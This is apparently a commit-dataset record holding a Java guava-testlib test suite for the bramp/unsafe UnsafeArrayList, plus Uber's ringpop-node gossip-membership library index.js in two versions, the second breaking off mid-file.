Java | bsd-2-clause | error: pathspec 'unsafe-collection/src/test/java/net/bramp/unsafe/UnsafeArrayListTest.java' did not match any file(s) known to git
| be9244865e89d64e6b75d4c4e3195f4fe6d0beb0 | 1 | bramp/unsafe | /**
* Tests the UnsafeArrayList using guava-testlib.
* Used https://www.klittlepage.com/2014/01/08/testing-collections-with-guava-testlib-and-junit-4/
* as a reference.
*/
package net.bramp.unsafe;
import com.google.common.collect.testing.*;
import com.google.common.collect.testing.features.CollectionFeature;
import com.google.common.collect.testing.features.CollectionSize;
import com.google.common.collect.testing.features.ListFeature;
import junit.framework.TestSuite;
import net.bramp.unsafe.examples.LongPoint;
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.junit.runners.Suite;
import java.util.Arrays;
import java.util.List;
import static org.junit.Assert.assertEquals;
/**
* Your test class must be annotated with {@link RunWith} to specify that it's a
* test suite and not a single test.
*/
@RunWith(Suite.class)
/**
* We need to use static inner classes as JUnit only allows for empty "holder"
* suite classes.
*/
@Suite.SuiteClasses({
UnsafeArrayListTest.GuavaTests.class,
UnsafeArrayListTest.AdditionalTests.class,
})
public class UnsafeArrayListTest {
/**
* Add your additional test cases here.
*/
public static class AdditionalTests {
static final int TEST_SIZE = 25; // Recommended larger than UnsafeArrayList.DEFAULT_CAPACITY
UnsafeArrayList<LongPoint> list;
@Before
public void setup() {
list = new UnsafeArrayList<>(LongPoint.class);
for (int i = 0; i < TEST_SIZE; i++) {
list.add(new LongPoint(i * 2, i * 2 + 1));
}
assertEquals(TEST_SIZE, list.size());
}
@Test public void testGet() throws Exception {
for (int i = 0; i < TEST_SIZE; i++) {
assertEquals(new LongPoint(i * 2, i * 2 + 1), list.get(i));
}
}
@Test public void testGetInPlace() throws Exception {
LongPoint tmp = new LongPoint(-1, -1);
for (int i = 0; i < TEST_SIZE; i++) {
list.get(tmp, i);
assertEquals(new LongPoint(i * 2, i * 2 + 1), tmp);
}
}
}
/**
* This class will generate the guava test suite. It needs a public static
* magic method called {@link GuavaTests#suite()} to do so.
*/
public static class GuavaTests {
public static TestSuite suite() {
return ListTestSuiteBuilder
.using(new TestStringListGenerator() {
@Override
protected List<String> create(String[] elements) {
return new UnsafeArrayList<>(String.class, Arrays.asList(elements));
}
})
.named("UnsafeArrayList")
// Guava has a host of "features" in the
// com.google.common.collect.testing.features package. Use
// them to specify how the collection should behave, and
// what operations are supported.
.withFeatures(ListFeature.GENERAL_PURPOSE, CollectionSize.ANY).createTestSuite();
}
}
}
| unsafe-collection/src/test/java/net/bramp/unsafe/UnsafeArrayListTest.java | Added new UnsafeArrayList Test, that uses Java's testlib to stress the UnsafeArrayList.
| unsafe-collection/src/test/java/net/bramp/unsafe/UnsafeArrayListTest.java | Added new UnsafeArrayList Test, that uses Java's testlib to stress the UnsafeArrayList. | <ide><path>nsafe-collection/src/test/java/net/bramp/unsafe/UnsafeArrayListTest.java
<add>/**
<add> * Tests the UnsafeArrayList using guava-testlib.
<add> * Used https://www.klittlepage.com/2014/01/08/testing-collections-with-guava-testlib-and-junit-4/
<add> * as a reference.
<add> */
<add>package net.bramp.unsafe;
<add>
<add>import com.google.common.collect.testing.*;
<add>import com.google.common.collect.testing.features.CollectionFeature;
<add>import com.google.common.collect.testing.features.CollectionSize;
<add>import com.google.common.collect.testing.features.ListFeature;
<add>import junit.framework.TestSuite;
<add>import net.bramp.unsafe.examples.LongPoint;
<add>import org.junit.Before;
<add>import org.junit.Test;
<add>import org.junit.runner.RunWith;
<add>import org.junit.runners.Suite;
<add>
<add>import java.util.Arrays;
<add>import java.util.List;
<add>
<add>import static org.junit.Assert.assertEquals;
<add>
<add>/**
<add> * Your test class must be annotated with {@link RunWith} to specify that it's a
<add> * test suite and not a single test.
<add> */
<add>@RunWith(Suite.class)
<add>/**
<add> * We need to use static inner classes as JUnit only allows for empty "holder"
<add> * suite classes.
<add> */
<add>@Suite.SuiteClasses({
<add> UnsafeArrayListTest.GuavaTests.class,
<add> UnsafeArrayListTest.AdditionalTests.class,
<add>})
<add>public class UnsafeArrayListTest {
<add>
<add> /**
<add> * Add your additional test cases here.
<add> */
<add> public static class AdditionalTests {
<add>
<add> static final int TEST_SIZE = 25; // Recommended larger than UnsafeArrayList.DEFAULT_CAPACITY
<add>
<add> UnsafeArrayList<LongPoint> list;
<add>
<add> @Before
<add> public void setup() {
<add> list = new UnsafeArrayList<>(LongPoint.class);
<add>
<add> for (int i = 0; i < TEST_SIZE; i++) {
<add> list.add(new LongPoint(i * 2, i * 2 + 1));
<add> }
<add>
<add> assertEquals(TEST_SIZE, list.size());
<add> }
<add>
<add> @Test public void testGet() throws Exception {
<add> for (int i = 0; i < TEST_SIZE; i++) {
<add> assertEquals(new LongPoint(i * 2, i * 2 + 1), list.get(i));
<add> }
<add> }
<add>
<add> @Test public void testGetInPlace() throws Exception {
<add> LongPoint tmp = new LongPoint(-1, -1);
<add> for (int i = 0; i < TEST_SIZE; i++) {
<add> list.get(tmp, i);
<add> assertEquals(new LongPoint(i * 2, i * 2 + 1), tmp);
<add> }
<add> }
<add>
<add> }
<add>
<add> /**
<add> * This class will generate the guava test suite. It needs a public static
<add> * magic method called {@link GuavaTests#suite()} to do so.
<add> */
<add> public static class GuavaTests {
<add>
<add> public static TestSuite suite() {
<add>
<add> return ListTestSuiteBuilder
<add> .using(new TestStringListGenerator() {
<add>
<add> @Override
<add> protected List<String> create(String[] elements) {
<add> return new UnsafeArrayList<>(String.class, Arrays.asList(elements));
<add> }
<add> })
<add>
<add> .named("UnsafeArrayList")
<add>
<add> // Guava has a host of "features" in the
<add> // com.google.common.collect.testing.features package. Use
<add> // them to specify how the collection should behave, and
<add> // what operations are supported.
<add> .withFeatures(ListFeature.GENERAL_PURPOSE, CollectionSize.ANY).createTestSuite();
<add> }
<add> }
<add>} |
|
JavaScript | mit | b2fc20bdc99fed5a5df7624d2556a0ef6b0ed69f | 0 | uber/ringpop-node,esatterwhite/skyring,esatterwhite/skyring,sasa233/ringpop,tomasdiez/ringpop,uber-node/ringpop-node,uber/ringpop-node,Collin-V/ringpop,hotrannam/ringpop,hj3938/ringpop,uber/ringpop,uber-node/ringpop-node | // Copyright (c) 2015 Uber Technologies, Inc.
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in
// all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
// THE SOFTWARE.
'use strict';
var clearTimeout = require('timers').clearTimeout;
var EventEmitter = require('events').EventEmitter;
var fs = require('fs');
var metrics = require('metrics');
var TypedError = require('error/typed');
var AdminJoiner = require('./lib/swim').AdminJoiner;
var createRingPopTChannel = require('./lib/tchannel.js').createRingPopTChannel;
var Dissemination = require('./lib/members').Dissemination;
var HashRing = require('./lib/ring');
var Membership = require('./lib/members').Membership;
var MemberIterator = require('./lib/members').MemberIterator;
var nulls = require('./lib/nulls');
var PingReqSender = require('./lib/swim').PingReqSender;
var PingSender = require('./lib/swim').PingSender;
var safeParse = require('./lib/util').safeParse;
var RequestProxy = require('./lib/request-proxy');
var IP_PATTERN = /^(\d+.\d+.\d+.\d+)$/;
var HOST_PORT_PATTERN = /^(\d+.\d+.\d+.\d+):\d+$/;
var MAX_JOIN_DURATION = 300000;
var InvalidJoinAppError = TypedError({
type: 'ringpop.invalid-join.app',
message: 'A node tried joining a different app cluster. The expected app' +
' ({expected}) did not match the actual app ({actual}).',
expected: null,
actual: null
});
var InvalidJoinSourceError = TypedError({
type: 'ringpop.invalid-join.source',
message: 'A node tried joining a cluster by attempting to join itself.' +
' The joiner ({actual}) must join someone else.',
actual: null
});
var AppRequiredError = TypedError({
type: 'ringpop.options-app.required',
message: 'Expected `options.app` to be a non-empty string.\n' +
'Must specify an app for ringpop to work.\n'
});
var OptionsRequiredError = TypedError({
type: 'ringpop.options.required',
message: 'Expected `options` argument to be passed.\n' +
'Must specify options for `RingPop({ ... })`.\n'
});
var HostPortRequiredError = TypedError({
type: 'ringpop.options-host-port.required',
message: 'Expected `options.hostPort` to be valid.\n' +
'Got {hostPort} which is not {reason}.\n' +
'Must specify a HOST:PORT string.\n',
hostPort: null,
reason: null
});
function RingPop(options) {
if (!(this instanceof RingPop)) {
return new RingPop(options);
}
if (!options) {
throw OptionsRequiredError();
}
if (typeof options.app !== 'string' ||
options.app.length === 0
) {
throw AppRequiredError();
}
var isString = typeof options.hostPort === 'string';
var parts = options.hostPort && options.hostPort.split(':');
var isColonSeparated = parts && parts.length === 2;
var isIP = parts && parts[0] && IP_PATTERN.test(parts[0]);
var isPort = parts && parts[1] &&
!isNaN(parseInt(parts[1], 10));
if (!isString || !isColonSeparated || !isIP || !isPort) {
throw HostPortRequiredError({
hostPort: options.hostPort,
reason: !isString ? 'a string' :
!isColonSeparated ? 'a valid hostPort pattern' :
!isIP ? 'a valid ip' :
!isPort ? 'a valid port' : 'correct'
});
}
this.app = options.app;
this.hostPort = options.hostPort;
this.channel = options.channel;
this.setLogger(options.logger || nulls.logger);
this.statsd = options.statsd || nulls.statsd;
this.bootstrapFile = options.bootstrapFile;
this.isReady = false;
this.isRunning = false;
this.debugFlags = {};
this.joinSize = 3; // join fanout
this.pingReqSize = 3; // ping-req fanout
this.pingReqTimeout = 5000;
this.pingTimeout = 1500;
this.proxyReqTimeout = options.proxyReqTimeout || 30000;
this.minProtocolPeriod = 200;
this.lastProtocolPeriod = Date.now();
this.lastProtocolRate = 0;
this.protocolPeriods = 0;
this.suspectPeriod = 5000;
this.maxJoinDuration = options.maxJoinDuration || MAX_JOIN_DURATION;
this.requestProxy = new RequestProxy(this);
this.ring = new HashRing();
this.dissemination = new Dissemination(this);
this.membership = new Membership(this);
this.membership.on('updated', this.onMembershipUpdated.bind(this));
this.memberIterator = new MemberIterator(this);
this.timing = new metrics.Histogram();
this.timing.update(this.minProtocolPeriod);
this.clientRate = new metrics.Meter();
this.serverRate = new metrics.Meter();
this.totalRate = new metrics.Meter();
this.gossipTimer = null;
this.protocolRateTimer = null;
this.suspectTimers = {};
this.statHostPort = this.hostPort.replace(':', '_');
this.statPrefix = 'ringpop.' + this.statHostPort;
this.statKeys = {};
this.destroyed = false;
this.joiner = null;
}
require('util').inherits(RingPop, EventEmitter);
RingPop.prototype.destroy = function destroy() {
this.destroyed = true;
clearTimeout(this.gossipTimer);
clearInterval(this.protocolRateTimer);
this.clientRate.m1Rate.stop();
this.clientRate.m5Rate.stop();
this.clientRate.m15Rate.stop();
this.serverRate.m1Rate.stop();
this.serverRate.m5Rate.stop();
this.serverRate.m15Rate.stop();
this.totalRate.m1Rate.stop();
this.totalRate.m5Rate.stop();
this.totalRate.m15Rate.stop();
if (this.joiner) {
this.joiner.destroy();
}
Object.keys(this.suspectTimers)
.forEach(function clearSuspect(timerKey) {
clearTimeout(this.suspectTimers[timerKey]);
}, this);
if (this.channel) {
this.channel.quit();
}
};
RingPop.prototype.setupChannel = function setupChannel() {
createRingPopTChannel(this, this.channel);
};
RingPop.prototype.adminJoin = function adminJoin(target, callback) {
if (this.joiner) {
this.joiner.destroy();
this.joiner = null;
}
this.joiner = new AdminJoiner({
ringpop: this,
target: target,
callback: callback,
maxJoinDuration: this.maxJoinDuration
});
this.joiner.sendJoin();
};
RingPop.prototype.bootstrap = function bootstrap(bootstrapFile, callback) {
if (typeof bootstrapFile === 'function') {
callback = bootstrapFile;
bootstrapFile = null;
}
var self = this;
if (this.isReady) {
var alreadyReadyMsg = 'ringpop is already ready';
this.logger.warn(alreadyReadyMsg, { address: this.hostPort });
if (callback) callback(new Error(alreadyReadyMsg));
return;
}
var start = new Date();
this.seedBootstrapHosts(bootstrapFile);
if (!Array.isArray(this.bootstrapHosts) || this.bootstrapHosts.length === 0) {
var noBootstrapMsg = 'ringpop cannot be bootstrapped without bootstrap hosts.' +
' make sure you specify a valid bootstrap hosts file to the ringpop' +
' constructor or have a valid hosts.json file in the current working' +
' directory.';
this.logger.warn(noBootstrapMsg);
if (callback) callback(new Error(noBootstrapMsg));
return;
}
this.checkForMissingBootstrapHost();
this.checkForHostnameIpMismatch();
// Add local member
this.membership.addMember({ address: this.hostPort });
this.adminJoin(function(err) {
if (err) {
var failedMsg = 'ringpop bootstrap failed';
self.logger.error(failedMsg, {
err: err.message,
address: self.hostPort
});
if (callback) callback(new Error(failedMsg));
return;
}
if (self.destroyed) {
var destroyedMsg = 'ringpop was destroyed ' +
'during bootstrap';
self.logger.error(destroyedMsg, {
address: self.hostPort
});
if (callback) callback(new Error(destroyedMsg));
return;
}
self.logger.info('ringpop is ready', {
address: self.hostPort,
bootstrapTime: new Date() - start,
memberCount: self.membership.getMemberCount()
});
self.startProtocolPeriod();
self.startProtocolRateTimer();
self.isReady = true;
self.emit('ready');
if (callback) callback();
});
};
RingPop.prototype.checkForMissingBootstrapHost = function checkForMissingBootstrapHost() {
if (this.bootstrapHosts.indexOf(this.hostPort) === -1) {
this.logger.warn('bootstrap hosts does not include the host/port of' +
' the local node. this may be fine because your hosts file may' +
' just be slightly out of date, but it may also be an indication' +
' that your node is identifying itself incorrectly.', {
address: this.hostPort
});
return false;
}
return true;
};
RingPop.prototype.checkForHostnameIpMismatch = function checkForHostnameIpMismatch() {
var self = this;
function testMismatch(msg, filter) {
var filteredHosts = self.bootstrapHosts.filter(filter);
if (filteredHosts.length > 0) {
self.logger.warn(msg, {
address: self.hostPort,
mismatchedBootstrapHosts: filteredHosts
});
return false;
}
return true;
}
if (HOST_PORT_PATTERN.test(this.hostPort)) {
var ipMsg = 'your ringpop host identifier looks like an IP address and there are' +
' bootstrap hosts that appear to be specified with hostnames. these inconsistencies' +
' may lead to subtle node communication issues';
return testMismatch(ipMsg, function(host) {
return !HOST_PORT_PATTERN.test(host);
});
} else {
var hostMsg = 'your ringpop host identifier looks like a hostname and there are' +
' bootstrap hosts that appear to be specified with IP addresses. these inconsistencies' +
' may lead to subtle node communication issues';
return testMismatch(hostMsg, function(host) {
return HOST_PORT_PATTERN.test(host);
});
}
return true;
};
RingPop.prototype.clearDebugFlags = function clearDebugFlags() {
this.debugFlags = {};
};
RingPop.prototype.protocolRate = function () {
var observed = this.timing.percentiles([0.5])['0.5'] * 2;
return Math.max(observed, this.minProtocolPeriod);
};
RingPop.prototype.getStats = function getStats() {
return {
membership: this.membership.getStats(),
process: {
memory: process.memoryUsage(),
pid: process.pid
},
protocol: {
timing: this.timing.printObj(),
protocolRate: this.protocolRate(),
clientRate: this.clientRate.printObj().m1,
serverRate: this.serverRate.printObj().m1,
totalRate: this.totalRate.printObj().m1
},
ring: Object.keys(this.ring.servers)
};
};
RingPop.prototype.gossip = function gossip() {
var self = this;
var start = new Date();
if (this.destroyed) {
return;
}
function callback() {
self.stat('timing', 'protocol.frequency', start);
self.gossip();
}
var protocolDelay = this.computeProtocolDelay();
this.stat('timing', 'protocol.delay', protocolDelay);
this.gossipTimer = setTimeout(function () {
self.pingMemberNow(callback);
}, protocolDelay);
};
RingPop.prototype.handleTick = function handleTick(cb) {
var self = this;
this.pingMemberNow(function () {
cb(null, JSON.stringify({ checksum: self.membership.checksum }));
});
};
RingPop.prototype.protocolJoin = function protocolJoin(options, callback) {
this.stat('increment', 'join.recv');
var joinerAddress = options.source;
if (joinerAddress === this.whoami()) {
return callback(InvalidJoinSourceError({ actual: joinerAddress }));
}
var joinerApp = options.app;
if (joinerApp !== this.app) {
return callback(InvalidJoinAppError({ expected: this.app, actual: joinerApp }));
}
this.serverRate.mark();
this.totalRate.mark();
this.membership.addMember({
address: joinerAddress,
incarnationNumber: options.incarnationNumber
});
callback(null, {
app: this.app,
coordinator: this.whoami(),
membership: this.membership.getState()
});
};
RingPop.prototype.protocolLeave = function protocolLeave(node, callback) {
callback();
};
RingPop.prototype.protocolPing = function protocolPing(options, callback) {
this.stat('increment', 'ping.recv');
var source = options.source;
var changes = options.changes;
var checksum = options.checksum;
this.serverRate.mark();
this.totalRate.mark();
this.membership.update(changes);
callback(null, {
changes: this.issueMembershipChanges(checksum, source)
});
};
RingPop.prototype.protocolPingReq = function protocolPingReq(options, callback) {
this.stat('increment', 'ping-req.recv');
var source = options.source;
var target = options.target;
var changes = options.changes;
var checksum = options.checksum;
this.serverRate.mark();
this.totalRate.mark();
this.membership.update(changes);
var self = this;
this.logger.debug('ping-req send ping source=' + source + ' target=' + target, 'p');
var start = new Date();
this.sendPing(target, function (isOk, body) {
self.stat('timing', 'ping-req-ping', start);
self.logger.debug('ping-req recv ping source=' + source + ' target=' + target + ' isOk=' + isOk, 'p');
if (isOk) {
self.membership.update(body.changes);
}
callback(null, {
changes: self.issueMembershipChanges(checksum, source),
pingStatus: isOk,
target: target
});
});
};
RingPop.prototype.lookup = function lookup(key) {
this.stat('increment', 'lookup');
var dest = this.ring.lookup(key + '');
if (!dest) {
this.logger.debug('could not find destination for ' + key);
return this.whoami();
}
return dest;
};
RingPop.prototype.reload = function reload(file, callback) {
this.seedBootstrapHosts(file);
callback();
};
RingPop.prototype.whoami = function whoami() {
return this.hostPort;
};
RingPop.prototype.clearSuspectTimeout = function clearSuspectTimeout(member) {
this.logger.debug('canceled suspect period member=' + member.address);
clearTimeout(this.suspectTimers[member.address]);
};
RingPop.prototype.computeProtocolDelay = function computeProtocolDelay() {
if (this.protocolPeriods) {
var target = this.lastProtocolPeriod + this.lastProtocolRate;
return Math.max(target - Date.now(), this.minProtocolPeriod);
} else {
// Delay for first tick will be staggered from 0 to `minProtocolPeriod` ms.
return Math.floor(Math.random() * (this.minProtocolPeriod + 1));
}
};
RingPop.prototype.issueMembershipChanges = function issueMembershipChanges(checksum, source) {
return this.dissemination.getChanges(checksum, source);
};
RingPop.prototype.onMembershipUpdated = function onMembershipUpdated(updates) {
var self = this;
var updateHandlers = {
'alive': function onAliveMember(member) {
/* jshint camelcase: false */
self.stat('increment', 'membership-update.alive');
self.logger.info('member is alive', {
local: self.membership.localMember.address,
alive: member.address
});
self.clearSuspectTimeout(member);
self.ring.addServer(member.address);
self.dissemination.addChange({
address: member.address,
status: member.status,
incarnationNumber: member.incarnationNumber,
piggybackCount: 0
});
},
'faulty': function onFaultyMember(member) {
/* jshint camelcase: false */
self.stat('increment', 'membership-update.faulty');
self.logger.warn('member is faulty', {
local: self.membership.localMember.address,
faulty: member.address
});
self.clearSuspectTimeout(member);
self.ring.removeServer(member.address);
self.dissemination.addChange({
address: member.address,
status: member.status,
incarnationNumber: member.incarnationNumber,
piggybackCount: 0
});
},
'new': function onNewMember(member) {
/* jshint camelcase: false */
self.stat('increment', 'membership-update.new');
self.ring.addServer(member.address);
self.dissemination.addChange({
address: member.address,
status: member.status,
incarnationNumber: member.incarnationNumber,
piggybackCount: 0
});
},
'suspect': function onSuspectMember(member) {
self.stat('increment', 'membership-update.suspect');
self.logger.warn('member is suspect', {
local: self.membership.localMember.address,
suspect: member.address
});
self.startSuspectPeriod(member);
self.dissemination.addChange({
address: member.address,
status: member.status,
incarnationNumber: member.incarnationNumber,
piggybackCount: 0
});
}
};
updates.forEach(function(update) {
var handler = updateHandlers[update.type];
if (handler) {
handler(update);
}
});
if (updates.length > 0) {
this.emit('changed');
}
this.stat('gauge', 'num-members', this.membership.members.length);
this.stat('timing', 'updates', updates.length);
};
RingPop.prototype.pingMemberNow = function pingMemberNow(callback) {
callback = callback || function() {};
if (this.isPinging) {
this.logger.warn('aborting ping because one is in progress');
return callback();
}
if (!this.isReady) {
this.logger.warn('ping started before ring initialized');
return callback();
}
this.lastProtocolPeriod = Date.now();
this.protocolPeriods++;
var member = this.memberIterator.next();
if (! member) {
this.logger.warn('no usable nodes at protocol period');
return callback();
}
var self = this;
this.isPinging = true;
var start = new Date();
this.sendPing(member, function(isOk, body) {
self.stat('timing', 'ping', start);
if (isOk) {
self.isPinging = false;
self.membership.update(body.changes);
return callback();
}
if (self.destroyed) {
return callback(new Error('destroyed whilst pinging'));
}
start = new Date();
self.sendPingReq(member, function() {
self.stat('timing', 'ping-req', start);
self.isPinging = false;
callback.apply(null, Array.prototype.splice.call(arguments, 0));
});
});
};
RingPop.prototype.readHostsFile = function readHostsFile(file) {
if (!file) {
return false;
}
if (!fs.existsSync(file)) {
this.logger.warn('bootstrap hosts file does not exist', { file: file });
return false;
}
try {
return safeParse(fs.readFileSync(file).toString());
} catch (e) {
this.logger.warn('failed to read bootstrap hosts file', {
err: e.message,
file: file
});
}
};
RingPop.prototype.seedBootstrapHosts = function seedBootstrapHosts(file) {
if (Array.isArray(file)) {
this.bootstrapHosts = file;
} else {
this.bootstrapHosts = this.readHostsFile(file) ||
this.readHostsFile(this.bootstrapFile) ||
this.readHostsFile('./hosts.json');
}
};
RingPop.prototype.sendPing = function sendPing(member, callback) {
this.stat('increment', 'ping.send');
return new PingSender(this, member, callback);
};
// TODO Exclude suspect memebers from ping-req as well?
RingPop.prototype.sendPingReq = function sendPingReq(unreachableMember, callback) {
this.stat('increment', 'ping-req.send');
var otherMembers = this.membership.getRandomPingableMembers(this.pingReqSize, [unreachableMember.address]);
var self = this;
var completed = 0;
var anySuccess = false;
function onComplete(err) {
anySuccess |= !err;
if (++completed === otherMembers.length) {
self.membership.update([{
address: unreachableMember.address,
incarnationNumber: unreachableMember.incarnationNumber,
status: anySuccess ? 'alive' : 'suspect'
}]);
callback();
}
}
this.stat('timing', 'ping-req.other-members', otherMembers.length);
if (otherMembers.length > 0) {
otherMembers.forEach(function (member) {
self.logger.debug('ping-req send peer=' + member.address +
' target=' + unreachableMember.address, 'p');
return new PingReqSender(self, member, unreachableMember, onComplete);
});
} else {
callback(new Error('No members to ping-req'));
}
};
RingPop.prototype.setDebugFlag = function setDebugFlag(flag) {
this.debugFlags[flag] = true;
};
RingPop.prototype.setLogger = function setLogger(logger) {
var self = this;
this.logger = {
debug: function(msg, flag) {
if (self.debugFlags && self.debugFlags[flag]) {
logger.info(msg);
}
},
error: logger.error.bind(logger),
info: logger.info.bind(logger),
warn: logger.warn.bind(logger)
};
};
RingPop.prototype.startProtocolPeriod = function startProtocolPeriod() {
if (this.isRunning) {
this.logger.warn('ringpop is already gossiping and will not' +
' start another protocol period.', { address: this.hostPort });
return;
}
this.isRunning = true;
this.membership.shuffle();
this.gossip();
this.logger.info('ringpop has started gossiping', { address: this.hostPort });
};
RingPop.prototype.startProtocolRateTimer = function startProtocolRateTimer() {
this.protocolRateTimer = setInterval(function () {
this.lastProtocolRate = this.protocolRate();
}.bind(this), 1000);
};
RingPop.prototype.startSuspectPeriod = function startSuspectPeriod(member) {
if (this.destroyed) {
return;
}
this.logger.debug('starting suspect period member=' + member.address);
// An existing suspect could exist in the event that a previously suspected
// member is still suspected, but overriden by a higher incarnation number.
// In that case, this function effectively renews and reissues a suspect
// period.
if (this.suspectTimers[member.address]) {
this.logger.debug('canceling existing suspect period suspect=' + member.address);
clearTimeout(this.suspectTimers[member.address]);
}
this.suspectTimers[member.address] = setTimeout(function() {
this.membership.update([{
address: member.address,
incarnationNumber: member.incarnationNumber,
status: 'faulty'
}]);
delete this.suspectTimers[member.address];
}.bind(this), this.suspectPeriod);
};
RingPop.prototype.stat = function stat(type, key, value) {
if (!this.statKeys[key]) {
this.statKeys[key] = this.statPrefix + '.' + key;
}
var fqKey = this.statKeys[key];
if (type === 'increment') {
this.statsd.increment(fqKey, value);
} else if (type === 'gauge') {
this.statsd.gauge(fqKey, value);
} else if (type === 'timing') {
this.statsd.timing(fqKey, value);
}
};
RingPop.prototype.handleIncomingRequest =
function handleIncomingRequest(header, body, cb) {
this.requestProxy.handleRequest(header, body, cb);
};
RingPop.prototype.proxyReq =
function proxyReq(destination, req, res, opts) {
this.requestProxy.proxyReq(destination, req, res, opts);
};
RingPop.prototype.handleOrProxy =
function handleOrProxy(key, req, res, opts) {
var dest = this.lookup(key);
if (this.whoami() === dest) {
return true;
} else {
this.proxyReq(dest, req, res, opts);
}
};
module.exports = RingPop;
| index.js | // Copyright (c) 2015 Uber Technologies, Inc.
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in
// all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
// THE SOFTWARE.
'use strict';
var clearTimeout = require('timers').clearTimeout;
var EventEmitter = require('events').EventEmitter;
var fs = require('fs');
var metrics = require('metrics');
var TypedError = require('error/typed');
var AdminJoiner = require('./lib/swim').AdminJoiner;
var createRingPopTChannel = require('./lib/tchannel.js').createRingPopTChannel;
var Dissemination = require('./lib/members').Dissemination;
var HashRing = require('./lib/ring');
var Membership = require('./lib/members').Membership;
var MemberIterator = require('./lib/members').MemberIterator;
var nulls = require('./lib/nulls');
var PingReqSender = require('./lib/swim').PingReqSender;
var PingSender = require('./lib/swim').PingSender;
var safeParse = require('./lib/util').safeParse;
var RequestProxy = require('./lib/request-proxy');
var IP_PATTERN = /^(\d+.\d+.\d+.\d+)$/;
var HOST_PORT_PATTERN = /^(\d+.\d+.\d+.\d+):\d+$/;
var MAX_JOIN_DURATION = 300000;
var InvalidJoinAppError = TypedError({
type: 'ringpop.invalid-join.app',
message: 'A node tried joining a different app cluster. The expected app' +
' ({expected}) did not match the actual app ({actual}).',
expected: null,
actual: null
});
var InvalidJoinSourceError = TypedError({
type: 'ringpop.invalid-join.source',
message: 'A node tried joining a cluster by attempting to join itself.' +
' The joiner ({actual}) must join someone else.',
actual: null
});
var AppRequiredError = TypedError({
type: 'ringpop.options-app.required',
message: 'Expected `options.app` to be a non-empty string.\n' +
'Must specify an app for ringpop to work.\n'
});
var OptionsRequiredError = TypedError({
type: 'ringpop.options.required',
message: 'Expected `options` argument to be passed.\n' +
'Must specify options for `RingPop({ ... })`.\n'
});
var HostPortRequiredError = TypedError({
type: 'ringpop.options-host-port.required',
message: 'Expected `options.hostPort` to be valid.\n' +
'Got {hostPort} which is not {reason}.\n' +
'Must specify a HOST:PORT string.\n',
hostPort: null,
reason: null
});
function RingPop(options) {
if (!(this instanceof RingPop)) {
return new RingPop(options);
}
if (!options) {
throw OptionsRequiredError();
}
if (typeof options.app !== 'string' ||
options.app.length === 0
) {
throw AppRequiredError();
}
var isString = typeof options.hostPort === 'string';
var parts = options.hostPort && options.hostPort.split(':');
var isColonSeparated = parts && parts.length === 2;
var isIP = parts && parts[0] && parts[0].match(IP_PATTERN);
var isPort = parts && parts[1] &&
!isNaN(parseInt(parts[1], 10));
if (!isString || !isColonSeparated || !isIP || !isPort) {
throw HostPortRequiredError({
hostPort: options.hostPort,
reason: !isString ? 'a string' :
!isColonSeparated ? 'a valid hostPort pattern' :
!isIP ? 'a valid ip' :
!isPort ? 'a valid port' : 'correct'
});
}
this.app = options.app;
this.hostPort = options.hostPort;
this.channel = options.channel;
this.setLogger(options.logger || nulls.logger);
this.statsd = options.statsd || nulls.statsd;
this.bootstrapFile = options.bootstrapFile;
this.isReady = false;
this.isRunning = false;
this.debugFlags = {};
this.joinSize = 3; // join fanout
this.pingReqSize = 3; // ping-req fanout
this.pingReqTimeout = 5000;
this.pingTimeout = 1500;
this.proxyReqTimeout = options.proxyReqTimeout || 30000;
this.minProtocolPeriod = 200;
this.lastProtocolPeriod = Date.now();
this.lastProtocolRate = 0;
this.protocolPeriods = 0;
this.suspectPeriod = 5000;
this.maxJoinDuration = options.maxJoinDuration || MAX_JOIN_DURATION;
this.requestProxy = new RequestProxy(this);
this.ring = new HashRing();
this.dissemination = new Dissemination(this);
this.membership = new Membership(this);
this.membership.on('updated', this.onMembershipUpdated.bind(this));
this.memberIterator = new MemberIterator(this);
this.timing = new metrics.Histogram();
this.timing.update(this.minProtocolPeriod);
this.clientRate = new metrics.Meter();
this.serverRate = new metrics.Meter();
this.totalRate = new metrics.Meter();
this.gossipTimer = null;
this.protocolRateTimer = null;
this.suspectTimers = {};
this.statHostPort = this.hostPort.replace(':', '_');
this.statPrefix = 'ringpop.' + this.statHostPort;
this.statKeys = {};
this.destroyed = false;
this.joiner = null;
}
require('util').inherits(RingPop, EventEmitter);
RingPop.prototype.destroy = function destroy() {
this.destroyed = true;
clearTimeout(this.gossipTimer);
clearInterval(this.protocolRateTimer);
this.clientRate.m1Rate.stop();
this.clientRate.m5Rate.stop();
this.clientRate.m15Rate.stop();
